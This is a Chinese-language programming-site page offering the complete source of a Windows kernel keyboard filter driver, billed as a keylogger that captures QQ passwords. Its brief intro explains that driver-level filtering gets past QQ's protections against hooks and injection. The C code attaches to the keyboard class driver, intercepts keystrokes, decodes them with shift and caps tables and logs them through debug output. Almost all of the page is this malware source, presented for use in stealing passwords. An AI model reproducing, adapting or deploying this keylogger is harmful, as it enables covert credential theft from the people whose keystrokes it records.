歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux編程 >> Linux編程

可截獲到 QQ 密碼 鍵盤記錄器源碼

由於 QQ 密碼做了特殊的保護,所以通過遠程注入得到密碼框內容以及通過鉤子來得到鍵盤消息均不能探測到 QQ 的密碼,但是通過對鍵盤驅動的過濾卻是可以記錄下 QQ 密碼輸入期間的內容,附上源碼。

#define DBG 1

#include <ntddk.h>
#include <ntstrsafe.h>

#include "KeyMonitor.h"

extern POBJECT_TYPE IoDriverObjectType;

PIO_STACK_LOCATION g_islCompletion;
int g_caps, g_shift, g_num;

unsigned char asciiTbl[]={
 0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
 0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
 0x32, 0x33, 0x30, 0x2E,
 0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
 0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
 0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
 0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
 0x32, 0x33, 0x30, 0x2E,
 0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
 0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
 0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
 0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
 0x32, 0x33, 0x30, 0x2E,
 0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
 0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
 0x32, 0x33, 0x30, 0x2E
};

NTSTATUS
ObReferenceObjectByName (
    __in PUNICODE_STRING ObjectName,
    __in ULONG Attributes,
    __in_opt PACCESS_STATE AccessState,
    __in_opt ACCESS_MASK DesiredAccess,
    __in POBJECT_TYPE ObjectType,
    __in KPROCESSOR_MODE AccessMode,
    __inout_opt PVOID ParseContext,
    __out PVOID *Object
    );

 

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath);
NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);
void KMPrintKey(UCHAR sch);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    int i = 0;

    KdPrint(("This is my driver, Henzox!\n"));

    pDriverObject->DriverUnload = KMUnload;

    for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) {
        pDriverObject->MajorFunction[i] = KMUnHandleIrp;
    }

    pDriverObject->MajorFunction[IRP_MJ_CREATE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_CLOSE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_PNP] = KMPnp;
    pDriverObject->MajorFunction[IRP_MJ_POWER] = KMPower;
    pDriverObject->MajorFunction[IRP_MJ_READ] = KMRead;

    return KMAddDevice(pDriverObject, puServiceRegPath);
}

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject)
{
    PDEVICE_OBJECT tmpDevice;
    PMY_DEVICE_EXTENSION myDeviceExtension;

    KdPrint(("The unload function is invoked!\n"));

    tmpDevice = pDriverObject->DeviceObject;
    while (tmpDevice) {
        PDEVICE_OBJECT nextDevice;

        KdPrint(("delete devobj: 0x%p.\n",tmpDevice));
        myDeviceExtension = (PMY_DEVICE_EXTENSION)tmpDevice->DeviceExtension;
        // 如果還有完成例程沒有執行,則取消掉這個完成例程
  if (myDeviceExtension->IslCompletion) {
      myDeviceExtension->IslCompletion->CompletionRoutine = NULL;
            // 只去掉與完成例程相關的幾個標志位,棧內的其它標志位非常重要,不能去除
   myDeviceExtension->IslCompletion->Control &= ~(SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_ERROR);
  }
        IoDetachDevice(myDeviceExtension->AttachedTo);
        nextDevice = tmpDevice->NextDevice;
        IoDeleteDevice(tmpDevice);
        tmpDevice = nextDevice;
    }
}

NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
   
    KdPrint(("Irp: %d\n", IoGetCurrentIrpStackLocation(Irp)->MajorFunction));
   
    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMOpenClose.\n"));

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
   
    return STATUS_SUCCESS;
}

NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PIO_STACK_LOCATION pIo = IoGetCurrentIrpStackLocation(Irp);

    KdPrint(("KMPnp.\n"));
   
 switch (pIo->MinorFunction) {
 default:
        IoSkipCurrentIrpStackLocation(Irp);
        IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
        break;
    }

    return STATUS_SUCCESS;
}

NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMPower.\n"));

    IoSkipCurrentIrpStackLocation(Irp);
    PoStartNextPowerIrp(Irp);
    return PoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    UNICODE_STRING usObjectName;
    PDRIVER_OBJECT KbdDriver;
    NTSTATUS status;
    PDEVICE_OBJECT tmpDevice, myDevice;
    UNICODE_STRING usDeviceName;
    WCHAR buff[64];
    int index = 0;
    PMY_DEVICE_EXTENSION DeviceExtension;

    RtlInitUnicodeString(&usObjectName, L"\\Driver\\KbdClass");

    status = ObReferenceObjectByName(&usObjectName,
                                    OBJ_CASE_INSENSITIVE,
                                    NULL,
                                    0,
                                    IoDriverObjectType,
                                    KernelMode,
                                    NULL,
                                    (PVOID)&KbdDriver);
 if (!NT_SUCCESS(status)) {
        KdPrint(("Find the kbd class failed!\n"));
  return status;
    }

    tmpDevice = KbdDriver->DeviceObject;
    while (tmpDevice) {
  swprintf(buff, L"\\Device\\MyDevice%d", index++);
        RtlInitUnicodeString(&usDeviceName, buff);
        status = IoCreateDevice(pDriverObject,
                                sizeof(MY_DEVICE_EXTENSION),
                                &usDeviceName,
                                tmpDevice->DeviceType,
                                tmpDevice->Characteristics,
                                FALSE,
                                &myDevice);
        if (!NT_SUCCESS(status)) {
            ObDereferenceObject(KbdDriver);
   return status;
        }
       
        KdPrint(("devobj: 0x%p.\n",myDevice));

        IoAttachDeviceToDeviceStack(myDevice, tmpDevice);
        DeviceExtension = (PMY_DEVICE_EXTENSION)myDevice->DeviceExtension;
        DeviceExtension->AttachedTo = tmpDevice;
        /* Setup my device */
        myDevice->StackSize = tmpDevice->StackSize + 1;
        myDevice->Flags |= (tmpDevice->Flags & (DO_BUFFERED_IO));   // 在 IoCreateDevice 時 Flags 會被賦於一些標志,這裡應該保留這些標志,(如 DO_DEVICE_HAS_NAME 等,牽涉到引用計數)

        tmpDevice = tmpDevice->NextDevice;
    }

    ObDereferenceObject(KbdDriver);
    return STATUS_SUCCESS;
}

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;

    //KdPrint(("KMRead.\n"));

    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    IoCopyCurrentIrpStackLocationToNext(Irp);
    /* 只有驅動可以保證在完成例程被調用之前不被卸載的情況下,可以使用 IoSetCompletionRoutine,
    如果你不能保證,那麼就需要用 IoSetCompletionRoutineEx,讓內核來使驅動不被卸載*/
 /*IoSetCompletionRoutine(Irp,
                          KMReadCompletion,
                          NULL,
                          TRUE,
                          TRUE,
                          TRUE);*/

    IoSetCompletionRoutineEx(DeviceObject,
                            Irp,
                            KMReadCompletion,
                            NULL,
                            TRUE,
                            TRUE,
                            TRUE);
    myDeviceExtension->IslCompletion = IoGetNextIrpStackLocation(Irp);

    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}


NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;
    PUCHAR buff;
    int len;

    //KdPrint(("KMReadCompletion: Key--0x%p\n", *(PULONG)Irp->AssociatedIrp.SystemBuffer));
 /* 該次 IRP 的完成例程已執行,棧會在該函數執行完時自動清空,所以不應該在引用該棧 */
    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    myDeviceExtension->IslCompletion = NULL;

 if (NT_SUCCESS(Irp->IoStatus.Status)) {
        // 由於設備標志為 DO_BUFFERED_IO, 內核分配了該緩沖區
        buff = Irp->AssociatedIrp.SystemBuffer;
        // 返回值一般都保存在 Information 中,即長度
        len = Irp->IoStatus.Information;

        if (buff[4] == 0) {
            /* 鍵盤被按下 */
   switch (buff[2]) {
   case 0x3A:
                g_caps = (g_caps == 1)?0:1;
                break;
   case 0x2A:
   case 0x36:
                g_shift = 1;
                break;
   case 0x45:
                g_num = (g_num == 1)?0:1;
                break;
   default:
                KMPrintKey(buff[2]);
                break;
            }
  } else if (buff[4] == 1) {
            /* 鍵盤被釋放 */
   switch (buff[2]) {
   case 0x2A:
   case 0x36:
                g_shift = 0;
                break;
   default: break;
            }
        }
    }

    if (Irp->PendingReturned) {
        IoMarkIrpPending(Irp);
    }

    return Irp->IoStatus.Status;
}

void KMPrintKey(UCHAR sch)
{
    UCHAR ch = 0;
    if ((sch < 0x47) || ((sch >= 0x47 && sch < 0x54) && g_num==0)) {
        ch = asciiTbl[sch];
        if(g_shift && g_caps)
            ch = asciiTbl[sch+84*3];
        else if(g_shift==1)
            ch = asciiTbl[sch+84*2];
        else if(g_caps==1)
            ch = asciiTbl[sch+84];
 }

 if(ch==0x08)
 {
  //DbgPrint("退格");
 }

 if (ch >= 0x20 && ch < 0x7F)
 {
  DbgPrint("%C",ch);
 }
}

Copyright © Linux教程網 All Rights Reserved